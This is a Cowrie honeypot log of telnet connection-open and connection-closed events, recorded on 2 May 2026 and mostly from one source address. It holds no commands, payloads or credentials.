{"eventid":"cowrie.session.closed","duration":32.67233324050903,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:15.606461Z","src_ip":"23.111.140.22","session":"479e0795820d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95991826057434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:15.926162Z","src_ip":"23.111.140.22","session":"4d2b2e79f57e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46000,"dst_ip":"10.17.0.5","dst_port":23,"session":"36ce67fe35b7","protocol":"telnet","message":"New connection: 23.111.140.22:46000 (10.17.0.5:23) [session: 36ce67fe35b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:16.029679Z"}
{"eventid":"cowrie.session.closed","duration":46.45642423629761,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:16.194359Z","src_ip":"23.111.140.22","session":"cfc07f5cf1b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46400,"dst_ip":"10.17.0.5","dst_port":23,"session":"131fa65f5dd6","protocol":"telnet","message":"New connection: 23.111.140.22:46400 (10.17.0.5:23) [session: 131fa65f5dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:16.208680Z"}
{"eventid":"cowrie.session.closed","duration":31.62392568588257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:16.511309Z","src_ip":"23.111.140.22","session":"39831ba5f891","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.793401956558228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:16.917191Z","src_ip":"23.111.140.22","session":"d5d909f370df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48676,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2696e257b79","protocol":"telnet","message":"New connection: 23.111.140.22:48676 (10.17.0.5:23) [session: c2696e257b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:16.990376Z"}
{"eventid":"cowrie.session.closed","duration":32.00055551528931,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:18.808258Z","src_ip":"23.111.140.22","session":"4b23d1349ff4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.984466314315796,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:19.159390Z","src_ip":"23.111.140.22","session":"9494e8332d93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56366,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ef12b795518","protocol":"telnet","message":"New connection: 23.111.140.22:56366 (10.17.0.5:23) [session: 2ef12b795518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:19.762088Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60690,"dst_ip":"10.17.0.5","dst_port":23,"session":"aca43bc2788e","protocol":"telnet","message":"New connection: 23.111.140.22:60690 (10.17.0.5:23) [session: aca43bc2788e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:21.363574Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34054,"dst_ip":"10.17.0.5","dst_port":23,"session":"42e192c58cce","protocol":"telnet","message":"New connection: 23.111.140.22:34054 (10.17.0.5:23) [session: 42e192c58cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:21.899753Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34242,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce8aa012ae27","protocol":"telnet","message":"New connection: 23.111.140.22:34242 (10.17.0.5:23) [session: ce8aa012ae27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:21.969083Z"}
{"eventid":"cowrie.session.closed","duration":31.39153003692627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:21.981493Z","src_ip":"23.111.140.22","session":"45e98ef181db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34494,"dst_ip":"10.17.0.5","dst_port":23,"session":"f823af33a86e","protocol":"telnet","message":"New connection: 23.111.140.22:34494 (10.17.0.5:23) [session: f823af33a86e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:22.053878Z"}
{"eventid":"cowrie.session.closed","duration":8.009460687637329,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:22.062825Z","src_ip":"174.138.46.234","session":"192be1d8574d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.946136474609375,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:22.249807Z","src_ip":"23.111.140.22","session":"56a7a7912598","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35420,"dst_ip":"10.17.0.5","dst_port":23,"session":"35d0b4a951ad","protocol":"telnet","message":"New connection: 23.111.140.22:35420 (10.17.0.5:23) [session: 35d0b4a951ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:22.436450Z"}
{"eventid":"cowrie.session.closed","duration":31.51669406890869,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:22.766037Z","src_ip":"23.111.140.22","session":"97698073ff18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.81220531463623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:23.033427Z","src_ip":"23.111.140.22","session":"274fcfce8cf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.09863018989563,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:23.521853Z","src_ip":"23.111.140.22","session":"cc5bb83f45aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39730,"dst_ip":"10.17.0.5","dst_port":23,"session":"65ac9e43ed6e","protocol":"telnet","message":"New connection: 23.111.140.22:39730 (10.17.0.5:23) [session: 65ac9e43ed6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:24.004006Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40082,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e5f083d01c0","protocol":"telnet","message":"New connection: 23.111.140.22:40082 (10.17.0.5:23) [session: 1e5f083d01c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:24.134066Z"}
{"eventid":"cowrie.session.closed","duration":31.041971445083618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:24.187215Z","src_ip":"23.111.140.22","session":"4cb5d96bb4f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.446092128753662,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:24.791231Z","src_ip":"23.111.140.22","session":"1012f020e419","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.17483448982239,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:25.088580Z","src_ip":"23.111.140.22","session":"6ef4cd1c7517","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.791034698486328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:25.396264Z","src_ip":"23.111.140.22","session":"f020a57ba8f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44052,"dst_ip":"10.17.0.5","dst_port":23,"session":"1228a74d846d","protocol":"telnet","message":"New connection: 23.111.140.22:44052 (10.17.0.5:23) [session: 1228a74d846d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:25.693038Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37118,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a46638cc0ce","protocol":"telnet","message":"New connection: 23.111.140.22:37118 (10.17.0.5:23) [session: 7a46638cc0ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:26.014516Z"}
{"eventid":"cowrie.session.closed","duration":30.334832191467285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:26.088000Z","src_ip":"23.111.140.22","session":"4274ac4193ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.39270043373108,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:26.187139Z","src_ip":"23.111.140.22","session":"9ccbc2592ea2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.285902976989746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:26.716395Z","src_ip":"23.111.140.22","session":"f4ca06a1b845","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47420,"dst_ip":"10.17.0.5","dst_port":23,"session":"78d00fb50dc6","protocol":"telnet","message":"New connection: 23.111.140.22:47420 (10.17.0.5:23) [session: 78d00fb50dc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:26.895723Z"}
{"eventid":"cowrie.session.closed","duration":32.8762903213501,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:29.166490Z","src_ip":"23.111.140.22","session":"5f27ce9d9c90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50936,"dst_ip":"159.203.135.109","dst_port":23,"session":"5be2e50733c0","protocol":"telnet","message":"New connection: 174.138.46.234:50936 (159.203.135.109:23) [session: 5be2e50733c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:29.276127Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48992,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7084b3ba8fc","protocol":"telnet","message":"New connection: 23.111.140.22:48992 (10.17.0.5:23) [session: b7084b3ba8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:29.505990Z"}
{"eventid":"cowrie.session.closed","duration":30.919641494750977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:29.648139Z","src_ip":"23.111.140.22","session":"4d1f1d2ddc60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54998,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4819af1c69a","protocol":"telnet","message":"New connection: 23.111.140.22:54998 (10.17.0.5:23) [session: e4819af1c69a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:29.698870Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53512,"dst_ip":"10.17.0.5","dst_port":23,"session":"54754d6e53ac","protocol":"telnet","message":"New connection: 23.111.140.22:53512 (10.17.0.5:23) [session: 54754d6e53ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:30.115866Z"}
{"eventid":"cowrie.session.closed","duration":30.823484182357788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:30.148611Z","src_ip":"23.111.140.22","session":"392e9bd1b2f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.594611406326294,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:30.172593Z","src_ip":"23.111.140.22","session":"62e39f8aeb8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51252,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eaae014599e","protocol":"telnet","message":"New connection: 174.138.46.234:51252 (159.203.135.109:23) [session: 1eaae014599e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:30.408055Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55380,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9568a314b71","protocol":"telnet","message":"New connection: 23.111.140.22:55380 (10.17.0.5:23) [session: d9568a314b71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:30.826995Z"}
{"eventid":"cowrie.session.closed","duration":35.91428279876709,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:31.044255Z","src_ip":"23.111.140.22","session":"62553e51b670","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.572222232818604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:31.465024Z","src_ip":"23.111.140.22","session":"83428bb5f9c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.247733116149902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:31.635408Z","src_ip":"23.111.140.22","session":"d68ba4e108bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.92871379852295,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:31.706691Z","src_ip":"23.111.140.22","session":"102e4989952b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.808213472366333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:31.729140Z","src_ip":"23.111.140.22","session":"e747fc1d9d5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55374,"dst_ip":"10.17.0.5","dst_port":23,"session":"2311ed943ad2","protocol":"telnet","message":"New connection: 23.111.140.22:55374 (10.17.0.5:23) [session: 2311ed943ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:31.842449Z"}
{"eventid":"cowrie.session.closed","duration":31.685792684555054,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:31.963434Z","src_ip":"23.111.140.22","session":"c899cfeaed2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.401171684265137,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:32.365531Z","src_ip":"23.111.140.22","session":"6fcf4a4e911f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.87256383895874,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:32.983947Z","src_ip":"23.111.140.22","session":"2c51522e1dd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.27745032310486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:33.035550Z","src_ip":"23.111.140.22","session":"214c6c24ae70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93320870399475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:33.157586Z","src_ip":"23.111.140.22","session":"c13f1e2571f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37216,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc3f976be520","protocol":"telnet","message":"New connection: 23.111.140.22:37216 (10.17.0.5:23) [session: dc3f976be520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:33.580567Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37280,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1f7e307819a","protocol":"telnet","message":"New connection: 23.111.140.22:37280 (10.17.0.5:23) [session: a1f7e307819a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:33.601835Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38110,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d9c40de0244","protocol":"telnet","message":"New connection: 23.111.140.22:38110 (10.17.0.5:23) [session: 5d9c40de0244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:33.860981Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39030,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1b89306bbf0","protocol":"telnet","message":"New connection: 23.111.140.22:39030 (10.17.0.5:23) [session: d1b89306bbf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:34.237296Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39110,"dst_ip":"10.17.0.5","dst_port":23,"session":"089584e8be63","protocol":"telnet","message":"New connection: 23.111.140.22:39110 (10.17.0.5:23) [session: 089584e8be63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:34.270955Z"}
{"eventid":"cowrie.session.closed","duration":30.825852870941162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:34.344596Z","src_ip":"23.111.140.22","session":"cb6076110a07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.198676824569702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:34.535452Z","src_ip":"23.111.140.22","session":"6e5597caee85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46588,"dst_ip":"10.17.0.5","dst_port":23,"session":"6044b02c34f6","protocol":"telnet","message":"New connection: 23.111.140.22:46588 (10.17.0.5:23) [session: 6044b02c34f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:34.883166Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41012,"dst_ip":"10.17.0.5","dst_port":23,"session":"57a3af47bf98","protocol":"telnet","message":"New connection: 23.111.140.22:41012 (10.17.0.5:23) [session: 57a3af47bf98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:34.939839Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33508,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4eb226f8f49","protocol":"telnet","message":"New connection: 23.111.140.22:33508 (10.17.0.5:23) [session: f4eb226f8f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:35.216826Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41964,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0d955db1120","protocol":"telnet","message":"New connection: 23.111.140.22:41964 (10.17.0.5:23) [session: e0d955db1120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:35.326066Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38026,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ff4706f7b6d","protocol":"telnet","message":"New connection: 23.111.140.22:38026 (10.17.0.5:23) [session: 8ff4706f7b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:35.875672Z"}
{"eventid":"cowrie.session.closed","duration":30.394413709640503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:36.106804Z","src_ip":"23.111.140.22","session":"b9e85a41977d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.245736122131348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:36.329314Z","src_ip":"23.111.140.22","session":"f9a87e7306cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44736,"dst_ip":"10.17.0.5","dst_port":23,"session":"89dc729869e7","protocol":"telnet","message":"New connection: 23.111.140.22:44736 (10.17.0.5:23) [session: 89dc729869e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:36.334006Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44822,"dst_ip":"10.17.0.5","dst_port":23,"session":"d22277642473","protocol":"telnet","message":"New connection: 23.111.140.22:44822 (10.17.0.5:23) [session: d22277642473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:36.363437Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37034,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e63eee52fb8","protocol":"telnet","message":"New connection: 23.111.140.22:37034 (10.17.0.5:23) [session: 2e63eee52fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:36.546716Z"}
{"eventid":"cowrie.session.closed","duration":31.572611093521118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:37.623716Z","src_ip":"23.111.140.22","session":"1ef681af4c5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48890,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3cabd0d31c5","protocol":"telnet","message":"New connection: 23.111.140.22:48890 (10.17.0.5:23) [session: c3cabd0d31c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:37.895148Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48993,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb1a50e3367b","protocol":"telnet","message":"New connection: 23.111.140.22:48993 (10.17.0.5:23) [session: eb1a50e3367b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:37.921433Z"}
{"eventid":"cowrie.session.closed","duration":7.5384886264801025,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:37.946278Z","src_ip":"174.138.46.234","session":"1eaae014599e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.892087936401367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:38.262773Z","src_ip":"23.111.140.22","session":"60558f213206","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49914,"dst_ip":"10.17.0.5","dst_port":23,"session":"12b83aaeaef0","protocol":"telnet","message":"New connection: 23.111.140.22:49914 (10.17.0.5:23) [session: 12b83aaeaef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:38.300976Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49966,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1752dba00ca","protocol":"telnet","message":"New connection: 23.111.140.22:49966 (10.17.0.5:23) [session: a1752dba00ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:38.321550Z"}
{"eventid":"cowrie.session.closed","duration":32.45281481742859,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:38.486207Z","src_ip":"23.111.140.22","session":"4d08e0d7b48e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.601694107055664,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:38.605811Z","src_ip":"23.111.140.22","session":"fdf7078feb42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.554452419281006,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:39.153808Z","src_ip":"23.111.140.22","session":"99294c4c963a","protocol":"telnet"}
